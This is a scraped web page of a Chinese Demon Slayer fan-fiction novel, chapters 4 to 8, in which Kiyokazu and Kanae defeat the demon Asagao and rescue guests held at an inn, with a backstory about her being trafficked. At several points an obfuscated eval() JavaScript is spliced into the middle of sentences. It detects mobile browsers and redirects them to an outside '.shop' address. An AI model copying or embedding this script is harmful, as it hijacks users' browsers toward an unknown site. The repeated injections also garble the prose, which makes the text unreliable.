“没有。”吉野回答得很快。 “我们员工昨晚都睡得很熟,并没有发现什么异常。直到过了退房时间,还没有人来前台办理退宿才觉得奇怪。员工前去敲门才发现有问题。” 说完,他耸耸肩道:“说不定是两人闹矛盾了也不定呢?女生下了药要偷钱之类的,天下之大无奇不有嘛。” 清和摇摇头,不对,那种伤痕绝不是人类能制造出来的,结合松田昏迷前的话,应该就是恶鬼所致。 这就奇怪了,难道鬼是在梦中袭击人类的?那为什么只有旅客被带走,员工却没事呢? 清和不死心,又追问道:“昨晚真就一点异常也没有?一点和平时不同的情况都没有?” “没有。”一样不留余地地否认。倒是旁边的前台山口小姐犹豫地抬头看了他一眼。 吉野在撒谎,清和很快判断出来。他刚才否认时眼睛不自觉地往右瞟了一下,这就是心虚的表现。 清和没戳破,只是点点头:“我知道了,辛苦您,可能就是您所说的情况也说不定呢,是我想多了。” “是啊,现在的小情侣别看年纪小,心眼坏的不少呢。”吉野打了个哈哈附和。 清和笑了笑:“我也是来这边旅游的,麻烦您帮我订个今晚的房间。” “没问题,让山口小姐协助您办理吧,我这边还有事,先失陪了。” 等吉野消失在视线中,清和凑近:“山口小姐,您有什么想和我说的?” 山口吓了一跳:“没,没有。” “麻烦了,如果您有什么线索请告诉我,这毕竟关系着人命,晚一天解决就可能有更多人受害。”清和深深鞠了一躬:“拜托了!” 山口犹豫半晌,终于下定决心:“其实,我也不知道算不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368589|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算得上线索。” “最近附近游客失踪的情况很多,我们旅店也发生了好几起。我注意到每次发生失踪的晚上,睡前都会有一种类似樱花的香气,而且一旦闻了这种香气,我那晚都会睡得很沉。昨晚的味道尤其浓烈,可我们店里并没有用樱花香料,最近是秋天,也不会有花香,所以让我觉得奇怪。” 樱花香气吗?清和凝眉,这可能是那个未知鬼的技能吧。 “我知道了,谢谢你,山口小姐。” “还有啊,”山口像是好不容易找到了倾诉的对象,把肚中疑惑一股脑倒了出来:“我有问过吉野香味的事情,他却突然严肃起来,还让我不要到处乱说,我总觉得,他是知情的。” 怪不得,清和若有所思。本以为吉野只是隐瞒异常不想影响生意,现在看来,他可能还有更大的问题。 他又托人捎了个口信给泰祀,并寄了封短信让鎹鸦送至鬼杀队,这是自己妹夫特意训练好送给自己的,说是见面礼。 咳咳,这小伙子,还是有点细心的。 华灯初上,万物都归于静寂。 一点小小的声音都会被放大。 吉野紧张地把引魂香放在房间门外,打火点燃,一股浓郁的樱花香气立刻顺着门缝钻了进去。 “干得不错。”吉野身后响起一道妩媚的女声:“今天来问你的人就住在这里?” “没错,朝颜大人。”吉野恭敬地低下头:“问我的是一个褐色眼睛,银色长发的年轻男子。” 朝颜猛然想起无惨大人发布的任务,上次在港口灭了鬼化海部彻的那群人里,是不是就有这个样貌的人? 无惨大人当时可是大发雷霆了一番,毕竟他很看好海部彻,才赐了他那么多血,结果还没过夜就被消灭了。 “很好。”朝颜魅惑的笑声传遍整个大厅,身上的樱花瓣也随之纷纷抖落,香气馥郁,熏得吉野眼神也迷离了起来。她手一挥,门被打开,里面清和睡得正酣。 “先把你丢到地下收藏起来吧,等无惨大人来了再向他邀功。”朝颜抿唇轻笑,把长发挽至耳后。 月光下,她的眼睛闪闪发亮,清晰地映出上面的字样。 “下弦陆”。 5. 第 5 章 朝颜伸出手,长长的指甲泛着粉色,很是好看,她勾起清和的下巴:“长得倒还不错,也没有鬼杀队的气息,就是个普通人罢了。诶?” 一道银白色的光影闪过,她的手瞬间被砍断。 清和拿着手术刀闪至房门后,眼神清明。 “看来基本功没丢掉。”清和将刀尖对准朝颜:“你就是躲在旅店背后的鬼怪?” 朝颜像是听到了什么好玩的事情,笑得花枝乱颤,身上的樱花花瓣也随之抖落,散发出馥郁的香气:“躲?我用得着躲?” 她伸出爪子,捏住吉野的后脖颈:“是他求着我留下才对,吉野,你说呢?” 冷汗瞬间浸湿了后背,吉野颤巍巍地回答:“没,没错,是我央求朝颜大人留下的。” “为什么要委身于鬼?”清和不解:“连光都见不得的家伙,简直就是阴沟里的老鼠,更何况,你不知道她害死了多少人?” 一道花枝带着凌厉的劲风打来,清和避闪不及,被打中后背,火辣辣的疼。他踉跄几步,倒在地上。 “说话小心点,再有下次,你的命就别想要了。”朝颜冷哼一声。 吉野见到此景,却没有丝毫畏惧,反倒是虔诚地依附在她身后,朝着躺在地上动弹不得的清和,大加嘲讽。 “你懂什么?这是能实现我愿望的神明!只要好好给朝颜大人提供祭品,我就能得到我想要的一切!” 吉野的声音起初还有些怯懦,受惯了欺凌的人大抵是这样,连说话都没有底气。可看着清和虚弱的模样,他半是气恼半是快意,越说越大声:“我参拜神社,求助神明,有什么用?父母不幸遇难,大伯想侵占我这仅剩的旅馆,还指派流氓地痞夜夜骚扰,让我过不上一天安生日子。” “你是神职人员吧,”吉野语气笃定:“你的装扮和气质都很特别,我一眼就能认出来。你说,那个时候四处求助无门的我,还能做什么?没有朝颜大人,我早就曝尸街头了!” “咳咳,”清和吐了口血,勉强撑起身倚靠在墙角:“你自己受了苦,更应该能理解他人才是。借助邪祟的力量,又会害得多少人家破人亡,你难道不清楚吗?” “那是他们活该!”像是被戳到了痛处,吉野激动得破音:“那是他们的命数,谁让他们那么年轻,又那么富裕,鞋上连一丁点淤泥都沾不上。凭什么,凭什么天底下的好运气都分给他们,我就是这种下场?” 伴随着他的怒吼,一道花枝冲上前来,卷起清和的手臂往回拉。清和用力一劈,那枝条上一点印记都不曾留下,自己的刀却豁了口。 “别白费力气了,”朝颜戳戳清和的额头:“我好歹也是十二鬼月呢。” 花枝越缠越紧。 那种熟悉的窒息感又来了,清和只觉得喉咙间涌出腥甜的味道,大脑的反应也开始变慢,樱花香气涌入鼻腔,流经肺腑,他快要支撑不住地沉睡过去。 “安心睡下吧,等老大来了,再对你的生死做定夺。毕竟,你可是让他发了很大的火呢。”朝颜的声音里满是娇媚,任谁只听声音,都觉得是个娇滴滴的小姑娘在哄人入睡,而绝想不到有多少人因为她命丧黄泉。 是在做梦吗?清和看着眼前身穿和服的女孩,正怯生生地跪坐在甲板上,和她一起的还有十几个年龄相仿的小姑娘,大家排排坐好,听着眼前的老板侃侃而谈。 “再过了这条海峡就到了!我再说一遍,只要大家听我的话,吃苦肯干,就能挣到钱,寄回家里,让家人也过上好日子!” 朝颜被这些话煽动得脸色涨红,眼里满是憧憬。终于能吃上饱饭了吗? 可为什么,家人送她出门的时候,眼里满是泪水呢? 下了岸,她们被集中安置在一间旅馆里,饭食很精致,还有好看的胭脂水粉,换好衣服,朝颜打扮得很漂亮。 真好啊,朝颜想,自己从没穿过这么好的衣服。 下一刻,一个醉醺醺的老汉冲了进来,嘴里嘟囔着她听不懂的语言,上来就要撕她的衣服。 他要做什么?朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368590|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜惊恐不已,忙挣扎着跑到房门边,却发现落了锁。她大声呼救,外面也毫无人应。 好漫长的夜晚。 终于挨到了天明,朝颜看着身上青青紫紫的伤痕,好疼啊。 老汉早已抽完烟离开,把钞票扔在她的脸上,还说什么今晚要再来? 这就是老板说的挣大钱吗? 朝颜沉默着,像失去了灵魂。她机械地吃着饭,喝了药,坐在床边一动不动。 又到晚上了,她轻抚着手中的钗子。 还是同样的老头走进房门,朝颜听着落锁的声音,抿了抿唇。 在他色眯眯地触碰到自己前一秒,朝颜眼疾手快地将钗子插入老汉的咽喉。 看着他痛苦地在地上翻滚,喉咙里咕噜噜得,一句话都说不出,朝颜有些害怕,却又奇怪地觉得兴奋。 这里不能久待了,朝颜想,她杀了人,他们会让她偿命。 她把油灯扔到床沿,看着火越烧越旺,然后打破窗户跳了出去,朝着港口飞奔。 回家,快回家。 她什么也顾不上想,快回去,这里的一切就是一场梦。她不要挣钱了,挨饿也没什么。 混上返航的货船,旅馆那边也反应过来了,正骂骂咧咧地四处寻人。朝颜躲在货物间,里面满满当当的都是海鱼,腥臊的味道熏得她直作呕。 她不敢动,看着搜捕人员举着火把来来回回。 “找到你了。”朝颜被揪起衣领,船员比对着她的模样,点点头:“你胆子倒是大。” 朝颜闭上眼,一滴泪水顺着她的眼角缓缓滑落。 “不甘心吗?”一道陌生的声音响起:“家人为了钱出卖你,这里的人随意蹂躏你,很不甘心吧?想报仇吗?” 衣领间的力道消失了,朝颜睁开眼,月光下,一个脸色苍白的男子正笑盈盈地站在她面前。手上提溜着船员的脑袋。 “加入我吧,我会成为你最可靠的家人。” “自我介绍下,我是船长,无惨。” 6. 第 6 章 从回忆中抽离,朝颜看着被血染红上衣的清和,目光中带了些怜悯:“太弱了,真不值得老大费心思。” 她吩咐吉野将清和捆好,撂在一边,等待那位大人的来临。 自己这次处理得这么快,应该会得到大人的夸奖吧?说不定,说不定还能再赐给自己一些血。 朝颜红了脸,是无惨大人把自己从坠落的深渊中救了出来。他还带自己回了家,看着家人惊恐的表情,她只觉得无比畅快。 她的爸爸,已经比鬼化后的她矮了不少,曾经自己不听话就是一个巴掌,那令人恐惧到发抖的身影,如今也如房间内被吹得几欲熄灭的蜡烛一般,脆弱又渺小。 朝颜动作很快,几乎是在顷刻间,房间内便是横七竖八倒下的尸体。 “做得很好,朝颜。”无惨点点头:“对背叛你的人,就应该赶尽杀绝。你被卖出的那一刻,他们就不配当你的家人了。以后,十二鬼月就是你新的家人,你要好好完成任务,证明你的价值。” 朝颜冷笑了声,她已不再是邮轮上那个瑟瑟发抖等待审判的小姑娘了,她在变强大,她可以决定别人的生死,她再也不用和一群人挤在一起,可怜巴巴地喝点稀粥。 饿了,吃人就够了。 她已经足够强了。 直到头颅落地的那一刻,朝颜都是这么认为的。 香奈惠收起刀柄,快步上前解开清和身上的绑绳:“来晚了,您没事吧?” 她的声音很是好听,温婉又清雅,一举一动也优雅至极,像春日里初开的花朵一般让人心旷神怡。只可惜身上被溅到的血迹破坏了这份美感。 香奈惠却半点没觉得困扰,解开绳子后,她又掏出方巾包扎起清和的伤口:“还好不是什么致命伤,等回到蝶屋了,我再帮您做进一步处理。” 清和咽下疼痛的闷哼,摇摇头:“我没事的,谢谢你。” 下一刻,自己的额头被手背贴上,凉凉的,很是舒服:“怎么这么烫?是伤口感染发烧了吗?” 清和忙后退两步,却因为被捆了太久,脚下发麻,一个跟头栽倒在地上。 他挣扎着起身,脸涨得更红了。 香奈惠像是明白了什么,抿唇笑了笑:“您果然和妹妹说的一样,是个可爱的人呢。” “妹,妹妹?” “是的,我妹妹蝴蝶忍在蝶屋见过您。她说你虽然第一面看上去冷冷的,很难接近。但实际上是个很热心肠的人呢,帮她处理伤患什么都做得很好。大家对你的专业技术都很认可。” 清和挠挠头,有些不好意思:“哪有她说的那么好,我只是做些我能做的事情,明明灭鬼这种事情都是你们冲在最前,也是最辛苦。” 说罢,他瞟了眼斩断头颅的朝颜,她正恶狠狠地盯着香奈惠,嘴里不知道骂些什么。 香奈惠顺着他的目光看去,问道:“有什么问题吗?” “她怎么还在?上次港口遇到的那个鬼,一被斩下头颅,就立刻消失了。” “是鬼实力的关系,”香奈惠解释道:“鬼的实力越强,就越难消灭。不过您放心,只不过是消散的速度慢了些,头颅被斩断,就绝无存活的可能。” 两人从朝颜的头前经过,一旁的吉野早已吓得跪在原地,双手紧紧揪着头发,头却是半点不敢抬。 “你别高兴太早!”朝颜的身体开始溃烂,她忍不住嘶吼起来:“我的家人会找到你们,把你们全都吃进肚子!他们会替我报仇的!” “家人?”香奈惠冷下脸:“我没猜错的话,你的家人早就被你杀害了吧?” “你说那几个弱小的人类?”朝颜大笑,尖利的声音在夜色中格外突兀:“他们算什么家人?只会拖后腿的家伙,连吃顿饱饭都是奢望,要把自己女儿卖出去抵债的渣滓!要不是无惨大人带我脱离苦海,我早就死在异乡了!” “你不也被自己看不上的‘弱小人类’解决了?”香奈惠的口舌格外凌厉,比起初见时的温柔简直判若两人:“至于你说的那个什么大人,他真要为了你好,怎么会舍得让你出来战斗呢?” “你这种锦衣玉食的家伙怎么会懂?”提到无惨,朝颜像是被戳到了逆鳞,激动到破了音:“只有做事的人才有价值,才能成为更值得信任的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368591|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!弱者就应该被扔出家门淘汰!” 清和皱起眉,他对朝颜的这番话极为不适,反驳道:“家人的羁绊岂能是因为有没有价值衡量的?照这样说,刚出生的婴儿是最脆弱的,那他们不就应该直接被扔掉?你出生的时候,你父母是这么对你的吗?” 朝颜被这句话卡了壳,她张着嘴,半天想不出反击的话来。 “没错。”香奈惠赞许地点点头:“但这种道理,她是不会明白的,也是个可怜虫罢了。不值得为她费心思,我们走吧,清和先生,还有许多人被困在这家旅馆里,等着我们去解救呢。” “好。”清和一手揪起吉野的衣领,朝着门外走去。 房间里,朝颜的身体消散得更快了。 她看着窗外明亮的满月,微风习习。自己和无惨回家的那天晚上,也是这样一个满月之夜,亮堂堂的,把家人的脸色照得清清楚楚。 他们当时怯懦极了,身体抖个不停,嘴里还念念有词,是在说什么? “对不起。” 是她妈妈的声音。 “我不该听信了介绍人的谎言,以为你出去就能过上好日子了。可谁知道是把你运出去做那种腌臜事?我和你爸爸向亲戚借了钱,正要坐明天一早的船去找你,可没想到还是晚了一步,你受苦了,小惠,对不起。”她的妈妈泪水止不住,一旁的父亲也轻声哀叹着。 他们在说什么? 朝颜不可置信地睁大眼,她挥刀太快,还不等父母说完话就杀了他们。她本以为妈妈是知情着,亲手把她送进地狱,可原来,她也是被骗了吗? 是了。 朝颜什么都想起来了。 她不叫什么朝颜,她叫小惠,她的爸爸妈妈对她很好,一家人虽然清贫,但总是把好东西都留给自己。可随着自己慢慢长大,不再满足家里的生活了。妈妈没了办法,这才听信别人介绍,有海外高薪工作,想把自己送去过上更好的生活。 她也是同意了的。 朝颜缓缓流出两行泪,月光下,她的身体愈发透明。 “对不起。” 她喃喃道。 7. 第 7 章 接下来的事就顺理成章了,没了恶鬼的协助,吉野就像是失了主心骨,哆嗦着打开旅馆尽头的隔间。 里面密密麻麻地横躺着昏迷的受害者,多是面容姣好的年轻人。 “这么多人?”清和眉头拧得更深了:“其他地方还有吗?” “没,没有了。”吉野冷汗浸透了脊背,全然没有了躲在朝颜背后耀武扬威的模样:“这是之前那位留下的‘口粮’,其他人都被她吃掉了。” 说罢,他紧紧上前抱住清和的大腿:“我也是被逼的!你也看到了,她那么强大,我为了自保,没有办法。我内心也是很痛苦的。” “和这种家伙为伍,你也不是什么好东西!”清和没忍住,狠狠给了吉野胸口一拳,直打得他撞在隔间的窗棂上,呕出一口鲜血。 清和还不解气,被香奈惠拦住:“清和君,冷静点,没必要为了这种渣滓脏了自己的手。” 她看了眼鎹鸦离开的方向:“我已经将情况汇报了,医疗队很快就来,至于他,明天一早就会有人报案,让他好好接受法律的审判。” “报,报案?”吉野瞪大了眼,不知哪来的力气,又挣扎着上前抱住清和:“不能报案啊,两位大人!” 他抬起头,脸上满是鼻涕泪水,好不狼狈:“这家旅馆是我家几代人的产业,我不能让它毁在我的手上!” 吉野更激动了,身体抖个不停,他咳嗽两声,说什么也不肯放手,嘴里翻来覆去就是些祖辈传承,自己有多辛苦,都是受鬼胁迫之类的云云。 清和更不耐烦了,他并不擅长和人辩驳,更别提应付这种啰嗦着哀叹命运不公的“弱者”。他本能觉得吉野说的不对,却又不知道如何反驳,只想用拳头堵住他的嘴。 还不等他出手,就被香奈惠拦下,她轻轻摇头。 清和无奈卸了力道,正打算堵住自己的耳朵,一声温婉的话音飘至耳边。 “吉野先生,你手上的手表和戒指都很好看呢,价格不菲吧?”香奈惠笑笑:“看起来生活不错呢。” 听到此话,吉野猛地收回手,诺诺道:“这,这都是家里留给我的,戒指上的宝石也是假的,不值钱。” “哦,是吗?”香奈惠挑起日轮刀,翻了个漂亮的花式,将刀尖指向庭院:“我刚从那里进来的时候,还看到了一辆漂亮的小汽车呢,应该也是你的吧,看起来真气派呢。” 吉野涨红了脸:“这,这都是我辛苦工作才攒下的钱,对,没错,我每天起早贪黑的工作,对,工作。” 清和也明白了香奈惠的意思,他狠狠踢了吉野一脚,把他从自己身上挪开,然后嫌弃地拍拍衣服被沾上的污渍:“一个小旅馆,能挣到这么多钱?小汽车可是舶来品,放眼全日本也不过几百辆,你就靠着自己工作能短短几年攒下这些?那我还开什么神社,开家旅馆得了呗。” 香奈惠没拦住,扶额叹道:“清和君,不是说了别冲动吗。” “都是这家伙,得了便宜还卖乖,明明跟着恶鬼得了好处,现在还装可怜,我最看不上这种人!”清和冷哼一声。 说罢,他还嫌不解气,又朝着吉野的方向踢过去,被他狼狈躲开。 “可以了,清和君。”香奈惠的声音略微提高了些,带着一丝郑重。 医疗队也在此时赶到,清和加入他们,沉默着处理昏迷的伤患。 朝颜的血鬼术发出的香气,有点像是手术用的□□。虽不会直接对人体造成伤害,但过量摄入还是会让人陷入昏迷无法苏醒。清和将患者侧卧,用针刺皮肤来刺激,帮助他们恢复意识。 房间里的气味并不好闻,这么多人躺在狭小的空间里,又是秋老虎的时候,早就滋生了异味。 一些人刚醒来便忍不住呕吐,混杂在一起,让本就混浊的空气更是雪上加霜,即使戴上了口罩,那种气味也挥之不去。 清和却是眉头都没皱一下,他在医院实习照顾病人时,早就习惯了这些。尤其是长期卧床的老年患者,身上的味道总是不太体面。有人因此变得尖酸刻薄,一点不满意就对着护士大吼大叫。有人羞于提出生理需求,宁愿少喝点水,少吃点东西,换取一点点尊严。 这些都没什么,清和想。 是人都会有难过的时候,身体上,心灵上,被打击到爬不起来了,甚至将希望寄托在虚无缥缈的神灵上。 他以前是不信这些的,世上哪来这么多鬼怪之事,要想健康顺遂,还是药剂和手术来得更快些。 可现在,他也犹豫了。 “你在生气?”一旁协助的香奈惠看他半天不做声,问道。 清和摇摇头:“我只是奇怪,为什么有人宁愿委身于鬼怪?” 香奈惠动作一顿,看向清和。对方眼中满是挣扎与犹豫之色。 她理解清和话中未尽之意。作为鬼杀队而存在的他们,本就立志于灭尽天下恶鬼,保护人类。可如今,已经有人类宁愿投靠恶鬼,主动戕害同类,那他们所做的一切,还有没有意义? 这鬼,还杀得完吗? 香奈惠有条不紊地包扎着病人的伤口,她的动作很娴熟,和妹妹蝴蝶忍不遑多让。即使还在思考着怎么回答他,也没有半分耽误手上的工作。 “这倒是让我想起妹妹忍的一件趣事了。”香奈惠抿唇笑笑。 “嗯?” 那时刚逢家中巨变,香奈惠姐妹二人被行冥救下,进行猎鬼人的训练。一日,她们外出采购时,恰巧看到有人在买卖小孩,买方一身西装笔挺,看上去气度不凡。 交易刚完成,人贩子正数着手里的钞票,笑得牙不见眼。 蝴蝶忍气得捏紧了衣袖,今年收成不好,买卖小孩的事越发猖獗了。看着小孩子脏兮兮的,脸上满是迷茫,全然不知等待她们的会是怎样的地狱,蝴蝶忍就气不打一处来。 “这种黑心肠的人,还不如被鬼吃了。”她小声嘀咕着。 香奈惠摸摸她的头,面对这活生生的贩卖,她也没法无动于衷,可家中遭恶鬼侵袭,她们又还没正式加入鬼杀队,哪来的钱救下孩子? “你等等我,姐姐。”蝴蝶忍像是想到了什么,跟着前方人贩子离开的方向,一起钻进了街巷的阴影里。 “等等!”香奈惠一个没拦住,眼睁睁看着她跑远,这家伙,总是这么冲动,可别闹出什么意外来。 时间一分一秒的流逝,街道外的夕阳如血,缓缓下坠。香奈惠皱皱眉,握住藏在袖口的匕首,正打算朝她离开的方向看看究竟。 下一刻,蝴蝶忍拍拍手,一脸得意地冲她走来。 “解决了。” 香奈惠先检查了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368592|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全身,确认没什么伤口后才放下心。 她狠狠给了蝴蝶忍一个脑壳:“下次别这么冲动了!” 蝴蝶忍吐吐舌头,摸摸脑袋上鼓起的大包:“知道啦姐姐。” 消了气,香奈惠不免好奇:“你说的‘解决了’是什么意思?你做了什么?” “就是放那个小孩自由了嘛。”蝴蝶忍拉住香奈惠的袖子扯了扯:“时间不早了,我们快点回去吧,路上讲。” 原来,她跟着人贩子拐到街角后,趁着对方没注意,狠狠打在他后脖颈上,人贩子还没反应过来,就软绵绵地倒了下去,失去意识。 “好啊你,现在都学会打人了是吧。”香奈惠感觉手中的拳头又硬了,是不是自己平日里太过温柔,才让妹妹这么胡来。 蝴蝶忍不屑:“那种家伙哪里称得上人呢。不过,我还真没想到,虽然力气不大,但制服一个男人也没我想象中的那么难嘛。” “不说这个,然后呢?” “然后?我把他口袋里的钱都掏走了,找到那个买家,也就是妓院老板,还了他买下孩子的钱,请他放小孩走。” “他能同意?” “当然不同意了,所以我得讲故事呀。”蝴蝶忍眨眨眼:“我说我是卖家的妹妹,这个孩子身体有暗疾,活不长的,我不想看到哥哥骗他钱,所以暗地偷了钱来赎回小孩子。” “他能相信?” “当然不信了。”蝴蝶忍耸耸肩:“所以我又跟着他去了遊女屋。” 香奈惠瞪大眼:“那种地方也是你能去的?” “不入虎穴,焉得虎子嘛,再说了,还没到晚上呢,里面干净着。”蝴蝶忍继续道:“里面几个姑娘生了病,我给的诊断和医生说的一模一样。他们就信了我,刚好那家花魁身体发烧不适,我帮她看了病,是过度疲劳,感染了风寒,她却迟迟拖着不治,才导致炎症反应越来越重。还好我去得及时,开了药,再休息几天就好了。” “听到我的话,老板和花魁才松了口气,他们本来以为自己得了花柳病,最近又要准备花魁游街,他们一直拖着不敢看医生。要不是我去这一趟,那真的是小病也要拖成大病了。有了这一茬,老板爽快地答应放人,我也就把小孩带走啦。” 香奈惠看着她身后:“那孩子呢?” “走了,她虽然年纪小,可性格意外的沉稳。她是隔壁村的,一天出来玩,落单了才被拐走,她清楚记得自己家的地址,老板又找了个人陪她回去,应该是没什么问题了。” “临走前,她给我说,长大后,她也要当药剂师,救下这里的可怜人。还要好好锻炼身体,以后把所有的人贩子打跑。” 香奈惠点点头:“没想到她这么有志向。” “花魁姐姐也塞给她一些钱,说是让小孩好好上学。”蝴蝶忍感慨道:“明明自己很辛苦,却还是温柔地想着别人。” “这不也是我们杀鬼救人的意义吗?”香奈惠笑笑:“有这么多善良的人,值得我们去拯救。让他们不要再和我们一样经受至亲分离的痛苦。” “而且说不定,鬼里面也有值得拯救的,可以和我们人类和谐共处呢。” 蝴蝶忍撇撇嘴:“我才不信这个。” “反正下次要再看到人贩子,我肯定要当他面把孩子救走!” 8. 第 8 章 清和被逗乐了,他和蝴蝶忍接触不多,只是在蝶屋中救治伤员时见过。印象里那个冷静专业的小姑娘,没想到在姐姐面前这么鲜活。 “她就一副天不怕地不怕的小孩子脾气,希望没给你们造成困扰呢。”香奈惠歉意地笑笑,眼里却满是柔和。 “怎么会?”清和忙摆手:“我倒巴不得自己妹妹永远长不大才好呢。” 他想起刚收到的鎹鸦回信,天音得知自己孤身犯险,不放心地叮嘱了几句。 “恶鬼能力特殊,你又没有自保的方法,还是多加小心才好。做事不要冲动,若有异常,等鬼杀队来了再商议。” 清和扶额,怎么说呢,自己和下弦还是小小地对战了一回合的,还好鬼杀队来的快。 “我这里一切都好,耀哉带着我熟悉了各项事务。虽然有些辛苦,但也让我长了很多见识,我每天都过得很充实。” 信件末了,天音又补了一句: “我很想你。” 清和看得眼睛模糊,妹妹很少会直白地说这些。或许神职世家都是这样,日复一日地严谨修行,会将人身上的特性一点点消磨掉,变成完美的,承载神性的容器。 或许嫁给他也好,清和想,鬼杀队那么多鲜活的孩子,总能冲淡些她被神职修行所束缚的天性。 只是,协助一个比他更小的孩子来掌管如此大的队伍,个中辛苦不用多言,自己在美国留学时,收到的她的信件,可从没见过“辛苦,充实”这样的字眼。 还是耀哉年纪小,身子骨又太弱了,清和恨恨地想。 “清和君?”香奈惠打断了他越跑越远的思路。 “嗯?”清和忙收住表情。 “伤员都已经转运好了,我们也要返回了,您要和我们一起吗?还是留在这休息一下,毕竟一夜没睡呢。” “太感谢你们的帮助了。”清和点头致意:“我今天有重要的人要拜访,就不和你们同行了。” “那好吧,要多注意身体呢。天音可是老在我耳边念叨,让我多看住你些,不要搞得那么辛苦。”香奈惠笑笑,轻轻一跃至窗边,下一刻消失在晨雾中,像是路边匆匆经过的沾着露水的花束。 清和心头一暖,自己这妹妹也真是的,刚嫁了人,就吩咐队员管起自己了? 真是的,不太象话。 在前往浅草神社的路上,清和还自言自语地抱怨着,嘴角却高高扬起,看不出一点生气的样子。 车夫撇头看了他一眼,小声嘟囔了一句:“神经病。” 又暗暗加快了脚步。 到了。 清和看着眼前融于热闹市井气息中的建筑,旁边紧邻的仲见世商店街,大大小小的铺子已经摆好了商品,商贩们沿街叫卖,开始一天忙碌生活。 浅草神社就这样静静地矗立其中,周遭的喧闹并未削减它的庄严,反而添上了几分生动人气。 门口一个身穿和服的小孩向他俯身致意:“您就是斋宫清和先生吧,恭候您多时了,请随我来。” 清和忙回礼:“打扰了。” 两人进入殿门,身后热闹的声响好似突然间消失,只留下眼前参天的巨木。已是银杏泛黄的季节,落叶纷纷扬扬洒下来,人走在上面发出“咯吱”的脆响。 手水舍前,年轻男女用木勺优雅地净手、漱口,然后站在殿门前深鞠一躬,拍手祈愿,一切都显得那样肃穆。 不知道掌管这间神社的官司——浦野先生,又会是一个怎样的人呢? 估计是个满口教规的老古董吧,清和揪了揪头发,有些头疼。 自己是最怕说教的。 想东想西间,领路的小孩停下脚步:“浦野先生就在屋内等候,您请进。我还有其他事务要处理,不便在奉陪了。” 清和忙躬身道谢,看着眼前紧闭的木门,清和做了会心理建设,上前敲门。 “请进。”一道成熟的中年男性的声音,略带了些慵懒。 清和耸了耸鼻子,这股若有若无的酒味是怎么回事? 打开门,清和只觉得脑袋更痛了。 屋内滔天的酒味一齐涌了出来,熏得清和连连后退两步。里面的主人一身白衣,像是宿醉刚醒,还不太适应眼前突然的光亮。他一只手挡在额头,另一只撑住榻榻米的下沿,这才勉强着站起身。 “来了?” 清和皱皱眉,阳光撒进去,里面的陈设一览无遗。大大小小的酒杯和温酒壶散落在桌子上,一看昨晚就没少喝,榻榻米后的墙上贴着歪歪扭扭的画作,应该是小孩子画的。温酒的炉子旁还蜷缩着一只白猫,此刻正舒服地打着呼噜。 自己这是走错房间了? “没走错,进来找个地方坐吧,清和。”房间主人终于被晒清醒了些,向他招呼着:“要不要喝点酒?这是临街新开的酒馆酿造的,味道很是不错。” 清和摆手谢绝:“我喝点水就好,您就是浦野先生?”自从系统学医以来,明白了酒精对人体的损害,因为手术和轮岗需要时刻保持清醒,他已经戒酒好几年了。 浦野有些遗憾:“那好吧,你还真是和你父亲一样,对修行一事很是严苛呢。” 那也比你这种放浪形骸的样子好多了吧,清和心里吐槽,这样让民众怎么信服你? 不过,说起来—— “请问,我父亲泰祀呢?” “哦,他啊。谁知道他酒量现在这么差,昨晚没喝两杯就晕倒了,现在还在隔壁醒酒呢。”浦野语气很是不满:“明明这么多年不见了,连好好喝一杯都不行。” 清和感觉自己的头更痛了。 这个家伙,究竟靠不靠谱啊。 “好了,不说这些了。你父亲已经和我讲过了,这次来是想学习祭祀仪式的流程是吗?” 清和点点头:“没错,我刚决定继承神社,可之前从没有系统学习过,家父建议我向您取取经。” “好说好说,”浦野喝了水后,精神好了很多:“理论的东西,你这种大学生,学起来肯定快的。仪式嘛,跟着做两次也就差不多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 